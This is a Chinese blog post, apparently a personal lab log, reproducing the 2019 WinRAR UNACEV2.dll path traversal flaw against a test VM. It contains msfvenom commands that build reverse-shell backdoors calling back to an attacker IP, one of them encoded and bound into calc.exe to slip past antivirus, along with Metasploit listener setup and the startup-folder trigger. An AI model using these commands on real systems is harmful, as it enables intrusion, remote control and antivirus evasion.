WinRAR代码执行漏洞复现
漏洞介绍
WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用
2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。
漏洞类型:代码执行
漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)
受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序
产生原因:ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致
修复方案:升级到winrar5.7.1、
漏洞复现
环境准备:
吾爱破解上找的winrar 5.60版本
靶机:192.168.41.129
简体中文64位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/winrar-x64-560sc.exe
简体中文32位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/wrar560sc.exe
新版的winrar 5.71中不存在UNACEV2.dll

靶机下载的winrar5.60存在UNACEV2.dll模块

MSF生成后门
生成一个简单后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.130 -f exe -o shell.exe

刚传到本机,就被火绒杀了。可想而知现在用msf后门是有多方便,但也需要技术门槛,免杀的套路才行了。

MSF结合exp(msf命令错误示范)
替换exp.py中的exe


需python3.7 运行exp.py


遇到个坑,注意这里的命令,py2和py3兼容的,不能用python3 ./exp.py来运行
kali:
msf设置监听
use exploit/multi/handler
set windows/x64/meterpreter/reverse_tcp
set LHOST

靶机:
解压到当前文件夹



重启触发exlpoit


win7上重启后,会提示一个操作,无法执行,如果直接关闭,那就直接died了。没有截图。重来一遍

再次替换后发现,执行exe的过程是放入开机的启动项中。所以才需要重启才能触发hi.exe即后门

无法重现,恢复快照尝试。应该是我之前直接ctrl+z,应该用ctrl+c中断监听,ctrl+z直接退出msfconsole,监听仍然存在。所以新开的收不到session。需要kill之前中断的msfconsole进程。
才能收到session



这台win7 sp1用来测试CVE20190708获取session失败,换一个win10试试(临时下载iso,安装程序,看会儿小甲鱼吧)
晚上了都,win10就绪,恢复下被杀的后门


复现失败。最后发现了问题,好像是我msf的问题。哎,气死了。打扰了。~~~~~~~~~~~~我payload设置错了。
我默认设置了payload windows/x64/meterpreter/reverse_tcp。应该设置为windows/meterpreter/reverse_tcp
正确MSF结合exp

winrar解压到当前文件夹释放恶意文件。重启电脑触发自启动后门

复现成功,之前的时间都浪费了呀。
既然这样就来玩一下捆绑的编码过的exe吧,记忆,掌握下msf的命令
编码21次、捆绑正常的32位calc.exe,生成32位的yunying.exe文件
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i lhost=192.168.41.130 lport= -x calc.exe -f exe -o yunying.exe


用火绒和QQ安全管家扫描,都是安全的。不像裸着的exe,放上来就被杀了。但是只要点击后,连接一样是直接被杀的。0-0。只有免杀才能逃过连接过程中的shellcode释放。编码只能绕过表面上的特征扫描。


开启msfconsole监听
64位的win7提示失败,但在本机却可以运行

win10测试

msf收不到session,没有反应,看别人也是有这样的payload同样收不到会话。0-0。
下次继续尝试把。先美化下kali的界面。颜控+1
https://www.jianshu.com/p/5bee0470eb89
尝试Wing学长的gnome-tweak-tool命令,在kali中找不到,不同版本命令不一样。解决方法=>gnome-tweaks
发现了figlet这样好玩的东西
showfigfonts 查看存有的字体
figlet -f bubble yunying -f指定要使用的字体

超级喜欢这个设计,自己的kali搞不出来。换个桌面美化就好了
明天去玩下CobaltStrike看看
WinRAR代码执行漏洞复现的更多相关文章
- WinRAR 代码执行漏洞复现
影响版本: WinRAR < 5.70 Beta 1 Bandizip < = 6.2.0.0 好压(2345压缩) < = 5.9.8.10907 360压缩 & ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- WinRAR代码执行漏洞CVE-2018-20250
0x01 分析思路 利用https://github.com/googleprojectzero/winafl 漏洞分析框架模糊测试WinRAR. 几个存档格式的崩溃,例如RAR,LZH和ACE,这些 ...
随机推荐
- stm32CubeMx+TrueSTUDIO+uc/os-III移植开发(二)
(三)复制相关文件 (1)继上次的代码生成后会显示如下的图 点击第一个,打开文件夹如下 (2)新建文件夹UCOSIII 在UCOSIII文件夹下,新建如下的文件夹 (3)将uc/os源文件中 Micr ...
- Python第六章-函数05-迭代器&生成器
python作为一个既面向对象,又支持函数式编程的语言,函数的使用方面有很多特点. 比如:闭包,装饰器,迭代器等 函数的高级应用 容器:生活中常见的容器有哪些?袋子,盆子,水杯,书包,铅笔盒... 容 ...
- Oracle 和SQL Server 中的SQL语句使用区别
最近开始接触Oracle,想要了解下同SQL Server使用时的区别.搜寻网上信息找到具体区别分类如下: 一.数据类型比较 类型名称 Oracle SQLServer 比较 字符数据类型 CHA ...
- CentOS7配置环境变量
执行命令env查看当前环境变量: [duanyongchun@192 3DUnetCNN]$ env 例如扩展环境变量为/tmp/bin: PATH=$PATH:/tmp/bin 查看特定环境变量命令 ...
- [POI2014][树形DP]FarmCraft
题目 In a village called Byteville, there are houses connected with N-1 roads. For each pair of houses ...
- 通过pycharm使用git和github的步骤(图文详解)
一.在Pycharm工具中配置集成Git和GitHub.1.集成Git. 打开Pycharm, 点击File-->Settins-->Version Control-->Git 然 ...
- B 方块消消乐
时间限制 : - MS 空间限制 : - KB 评测说明 : 1s,128m 问题描述 何老板在玩一款消消乐游戏,游戏虽然简单,何老板仍旧乐此不疲.游戏一开始有n个边长为1的方块叠成一个高为n的 ...
- Java并发基础01. 传统线程技术中创建线程的两种方式
传统的线程技术中有两种创建线程的方式:一是继承Thread类,并重写run()方法:二是实现Runnable接口,覆盖接口中的run()方法,并把Runnable接口的实现扔给Thread.这两种方式 ...
- 在ES5实现ES6中的Object.is方法
ES6中对象的扩展里面添加了一个Object.is方法,用于比较两个值是否严格相等.内部计算与 === 行为基本一致.那么我们怎么在不支持这个方法的ES5中实现呢? 首先我们需要搞清楚两点,1:Obj ...
- 搭建DHProxy服务器
集群与存储 HAProxy简介 ...